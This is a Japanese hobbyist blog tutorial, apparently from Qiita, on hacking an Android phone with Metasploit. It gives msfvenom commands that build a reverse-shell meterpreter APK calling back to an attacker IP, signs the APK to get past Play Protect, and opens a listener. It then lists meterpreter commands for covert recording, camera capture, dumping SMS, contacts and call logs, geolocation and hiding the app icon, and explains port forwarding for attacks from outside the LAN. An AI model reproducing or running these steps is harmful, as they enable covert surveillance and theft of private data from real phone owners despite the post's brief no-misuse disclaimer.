MetasploitでAndroidをハッキングしてみた

#はじめに
今回は、Metasploitを使ってAndroid端末をハッキングし、遠隔操作して遊んでみようと思います。
MetasploitのAndroidについての日本語の資料が少なかったので書くことにしました。
今回はKali LinuxをUSBに入れて動かしていますが、VirtualBoxとかでも大丈夫だと思います。

当然ながら悪用厳禁です。作ったapkを配布とかしたら普通に捕まるので注意。

#apkの作成
まずはMetasploitを使って、Androidを遠隔操作可能にするapkファイルを作っていきます。
Terminalを開き、以下のコマンドを入力します。(私の環境だと、コピペするとなぜかうまくいかなかったので、その場合は自分で入力してみてください。)

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.4 R>/home/kali/test.apk
```

-pで使うペイロード(攻撃コード)を指定します。
android/meterpreter/reverse_tcpというのは、Android側に遠隔操作可能なシェルを開くペイロードです。

LHOSTには攻撃側のIPアドレスを指定してください。IPアドレスはipコマンドで調べられます。


```
ip a
```

これで/home/kaliにtest.apkが生成されているはずです。

しかし、署名されてないapkをインストールしようとするとPlay プロテクトに弾かれるみたいなので、適当に署名していきます。

```
keytool -genkey -v -keystore test.keystore -alias test_alias -keyalg RSA -keysize 2048 -validity 10000
```

これでキーストアが生成されます。

apkに書名をするjarsignerコマンドと、apkを最適化するzipalignコマンドはデフォルトでは入ってないので、以下のコマンドでインストールします。

```
sudo apt-get install default-jdk
sudo apt-get install zipalign
```

apkに署名します。

```
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore test.keystore /home/kali/test.apk test_alias
```

apkを最適化します。

```
zipalign -v 4 /home/kali/test.apk /home/kali/shell.apk
```

これでapkファイルは完成です。

#リスナーを開く
今回のペイロードはリバースシェルというものでAndroid側から接続を行うので、攻撃側はリスナーを開いておきます。
まずはMetasploitを起動しましょう。

```
msfconsole
```

次に、multi/handlerを起動し、Androidからの接続をリッスンします。

```
use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.11.4
```

LHOSTには先ほど指定した攻撃側のIPアドレスを指定します。

```
exploit
```

これでリスナーが動き出します。

![Screenshot 2020-08-03 09:38:211.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/624097/8e9b79a4-6853-eaf8-864f-7ef42c14c0c9.png)


#apkのインストール
先ほど作成したapkファイルをAndroid側に転送し、インストールしていきます。
あらかじめ設定から「提供元不明のアプリ」を許可しておいてください。

apkファイルを開くと、何やらめっちゃ権限を要求されます。

![Screenshot_2020-08-03-09-11-32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/624097/e2c55b97-b334-9e9f-6fbd-5634e72cef4a.png)

どう考えても怪しいですが、まあ気にせずインストールボタンを押しましょう。

![Screenshot_2020-08-03-09-17-02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/624097/95ec62b9-f566-6d91-9547-27ac7274b788.png)

さらにPlayプロテクトから警告されますが、気にしたら負けです。

インストールが完了したら、さっそく開いてみましょう。

![Screenshot 2020-08-03 10:02:421.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/624097/669a5273-26a8-3dcf-3f53-ad3bcb0e9df9.png)

Kali Linux側で、上の画像の用にmeterpreterが開いたら成功です。これで遠隔操作が可能になります。

#meterpreterで遊ぼう
meterpreterには様々なコマンドが用意されています。helpと入力すると、使用できるコマンドが大量に出てくると思います。
ここでは面白いコマンドを色々紹介します。

##shell
Androidのシェルを使えるコマンドです。

##record_mic
```
record_mic -d 秒数
```

とすることで、指定した秒数マイクから録音し、wavファイルに保存できる...はずなんですが、私の環境だとなぜか指定した半分の秒数しか録音されませんでした。
しかも録音時間が14秒を越えるとエラーが出ます。

##webcam_snap
```
webcam_snap [-i カメラ番号 -p 保存先 -q 画質(1〜100) -v 撮影後に開くか(true/false)]
```

とすることで、カメラで撮影できます。
カメラ番号はwebcam_listコマンドで分かります。

##webcam_stream
リアルタイムでカメラ映像が見れます。
といっても、連続で撮影しているだけなのでパシャパシャ鳴り続けてうるさいです。
Root化されているとシャッター音が鳴らないみたいです。

##play
```
play ファイル名
```

とすることで、wavファイルをAndroid端末上で再生できます。(でも私の環境だと途中で中断されてしまいました。)
wavファイル以外も再生できるのかは不明。

##dump_calllog
通話記録をtxt形式で保存できます。

##dump_contacts
連絡先リストをtxt形式で保存できます。

##dump_sms
SMSの履歴をtxt形式で保存できます。

##geolocate
現在地がかなりの精度で出力されます。

##hide_app_icon
さっきインストールしたはずのアプリのアイコンが姿を消します。

##send_sms
```
send_sms -d 電話番号 -t テキスト
```

でSMSメッセージを送信できます。

##set_audio_mode
```
set_audio_mode -m モード(0: オフ, 1: 普通, 2: 最大)
```

とすることで、音量レベルを設定できます。

##app_list
インストールされているアプリとパッケージ名などの情報が出力されます。

##app_run
```
app_run アプリのパッケージ名
```
でアプリを起動できます。
例) app_run com.android.settings

#LAN外から接続する
一応LAN外からも操作できる(らしいです。)

先ほど書いた通り、今回使っているリバースシェルはAndroid側から接続を行うため、まずは攻撃側のルーターのポートを開放する必要があります。
各ルーターの管理画面を開き、ポート開放設定(転送設定)の画面から、LAN側IPアドレスに攻撃側PCのローカルIPアドレスを指定し、開始ポートと終了ポートに4444を指定します。

そして、先ほどのapk生成コマンド

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.4 R>/home/kali/test.apk
```

のLHOSTを攻撃側のグローバルIPアドレスに変えてください。
グローバルIPアドレスは[確認くん](https://www.ugtop.com/spill.shtml)で見られます。

あとは先ほどと同じようにすれば、LAN外からAndroid端末を操作できる...らしいのですが、私の場合そもそもポート開放がうまくいかず、心が折れて諦めました。
誰かうまくいった方がいたら、是非コメント欄で教えてください。

#終わりに
という訳で、MetasploitからAndroidをハッキングしてみました。
とはいっても、そもそも生成されたapkファイル自体が怪しすぎるし、アンチウイルスにも引っ掛かりまくっていたので、すぐにウイルスだとばれてしまうでしょう。

別のapkファイルにペイロードを埋め込みたくて、3日間ぐらいネット上の情報を漁っていたのですが、結局どの方法やツールを使ってもうまくいきませんでした。
もしうまくいった方がいたら、是非コメント欄で教えてください。

#参考文献
* [Hack Android Using Kali (Remotely)](https://null-byte.wonderhowto.com/how-to/hack-android-using-kali-remotely-0160161/)
* [How to Gain Access to an Android Over WAN](https://null-byte.wonderhowto.com/forum/gain-access-android-over-wan-0181240/)